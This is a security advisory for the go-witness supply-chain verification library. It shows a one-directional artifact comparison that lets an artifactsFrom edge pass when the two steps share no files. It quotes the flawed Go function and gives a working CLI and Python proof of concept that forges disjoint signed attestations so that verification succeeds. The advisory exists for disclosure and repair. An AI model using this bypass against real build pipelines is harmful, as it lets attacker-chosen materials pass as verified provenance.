Skip to main content
Menu
Advisories

artifactsFrom edge can be satisfied with no genuine artifact flow (one-directional / empty-overlap comparison)

GHSA-VMVJ-P3HW-39Q3Published Updated GitHub

Description

The cross-step artifact check compares a step's materials against the referenced step's artifacts in one direction only, and treats an empty path-overlap as a pass. As a result an artifactsFrom edge, which is meant to prove that one step consumed the artifacts another step produced, can be satisfied by a downstream collection that shares no files at all with the upstream step. The provenance link the policy author relied on is not actually enforced.

Impact

Provenance gap in the inter-step artifact linkage. An artifactsFrom edge, the mechanism a policy author uses to assert "this step builds on the verified output of that step", can be satisfied without any file actually flowing between the steps. A functionary for the downstream step can therefore present unrelated or attacker-chosen materials while still satisfying the edge. Scope is integrity (not confidentiality or availability).

Real-world exploitation conditions. The attacker needs functionary access to the downstream linked step (PR:H) and a policy that uses artifactsFrom to gate inter-step integrity; the crafted disjoint-path collection is the engineered precondition reflected by AT:P.

Details

compareArtifacts (policy/policy.go:396-413) iterates only the materials map and continues on any path that is absent from the artifacts map. It never inspects artifacts that are not materials, and it returns nil when the two share no paths at all:

func compareArtifacts(materials, artifacts map[string]cryptoutil.DigestSet) error {
    for path, mat := range materials {
        art, ok := artifacts[path]
        if !ok {
            continue                 // path not in the other set -> skipped, never compared
        }
        if !mat.Equal(art) {
            return ErrMismatchArtifact{...}
        }
    }
    return nil                       // no shared path -> returns nil (clean)
}

verifyCollectionArtifacts (policy.go:373-394) accepts an artifactsFrom edge as soon as any upstream passed collection compares clean. Because compareArtifacts returns nil for a zero-overlap comparison, an edge is satisfied even when the downstream step's materials are entirely disjoint from the upstream step's artifacts, that is, when nothing actually flowed between the steps.

Note: a related, stronger claim, that the edge passes with zero passed upstream collections, does not hold. verifyCollectionArtifacts guards if len(accepted) <= 0 { return error } and verifyArtifacts clears result.Passed on failure (policy.go:334-343,354-366). The issue here is specifically the empty path-overlap case, not the empty collection case.

Proof of Concept

This reproduces the behavior through the built witness CLI using two hand-crafted collections so the material paths are controlled exactly. step1's artifact path is fileA; step2's material path is fileB, disjoint from step1's artifacts. The statement subject field lets the verifier find each step.

# BUILD the witness CLI (needs Go; this PoC also needs openssl + python3):
#   git clone https://github.com/in-toto/witness && cd witness && git checkout v0.11.0 \
#     && go build -o /tmp/witness . && cd - && export PATH=/tmp:$PATH
#   (witness v0.11.0 builds against go-witness v0.10.0, the version it ships.)
# Then run the rest in an empty working directory.
openssl genpkey -algorithm ed25519 -out fk.key; openssl pkey -in fk.key -pubout -out fk.pub  # functionary
openssl genpkey -algorithm ed25519 -out pk.key; openssl pkey -in pk.key -pubout -out pk.pub  # policy signer
echo '{}' > tmp.json; witness sign -f tmp.json --datatype x -k fk.key -o tmpsig.json
KEYID=$(python3 -c "import json;print(json.load(open('tmpsig.json'))['signatures'][0]['keyid'])")
PUB=$(base64 < fk.pub | tr -d '\n')
MAT="https://witness.dev/attestations/material/v0.1"
S1=1111111111111111111111111111111111111111111111111111111111111111
S2=2222222222222222222222222222222222222222222222222222222222222222

python3 - "$MAT" "$S1" "$S2" <<'PY'
import json,sys
MAT,S1,S2=sys.argv[1:4]
def stmt(name, materials, subj):
    return {"_type":"https://in-toto.io/Statement/v0.1","subject":[{"name":"x","digest":{"sha256":subj}}],
      "predicateType":"https://witness.testifysec.com/attestation-collection/v0.1",
      "predicate":{"name":name,"attestations":[{"type":MAT,"attestation":materials,
        "starttime":"2026-01-01T00:00:00Z","endtime":"2026-01-01T00:00:00Z"}]}}
json.dump(stmt("step1",{"fileA":{"sha256":"aaaa"+"1"*60}},S1), open("s1.json","w"))
json.dump(stmt("step2",{"fileB":{"sha256":"bbbb"+"2"*60}},S2), open("s2_exploit.json","w"))  # disjoint
json.dump(stmt("step2",{"fileA":{"sha256":"dead"+"0"*60}},S2), open("s2_control.json","w"))  # overlap, wrong digest
PY
for f in s1 s2_exploit s2_control; do
  witness sign -f $f.json --datatype application/vnd.in-toto+json -k fk.key -o att_$f.json; done

python3 - "$KEYID" "$PUB" "$MAT" <<'PY'
import json,sys
keyid,pub,MAT=sys.argv[1:4]
json.dump({"expires":"2035-12-17T23:57:40-05:00","publickeys":{keyid:{"keyid":keyid,"key":pub}},
 "steps":{"step1":{"name":"step1","attestations":[{"type":MAT,"regopolicies":[]}],"functionaries":[{"type":"publickey","publickeyid":keyid}]},
          "step2":{"name":"step2","artifactsFrom":["step1"],"attestations":[{"type":MAT,"regopolicies":[]}],"functionaries":[{"type":"publickey","publickeyid":keyid}]}}}, open("policy.json","w"))
PY
witness sign -f policy.json -k pk.key -o policy.signed.json

# CONTROL: step2 material overlaps step1's fileA but with a WRONG digest.
witness verify -p policy.signed.json -k pk.pub -a att_s1.json -a att_s2_control.json -s "$S1" -s "$S2"
#   -> level=error "Verification failed"   exit 1   (the mismatch on the shared path is caught)

# EXPLOIT: step2 materials disjoint from step1 artifacts (nothing flowed).
witness verify -p policy.signed.json -k pk.pub -a att_s1.json -a att_s2_exploit.json -s "$S1" -s "$S2"
#   -> level=info "Verification succeeded"  exit 0   (artifactsFrom passes with zero artifact flow)

The CONTROL run shows the comparison works when paths overlap (a tampered shared file is caught); the EXPLOIT run shows the same artifactsFrom: ["step1"] edge is satisfied by a step2 collection that consumed nothing produced by step1.

Suggested fix

Define and enforce the intended artifactsFrom semantics. At minimum, reject an edge whose downstream materials have no path in common with the referenced step's artifacts (a zero-overlap comparison currently returns success). Optionally, evaluate the linkage bidirectionally so that an absent expected artifact is also caught.

Affected versions

References

GitHub · in-toto/go-witness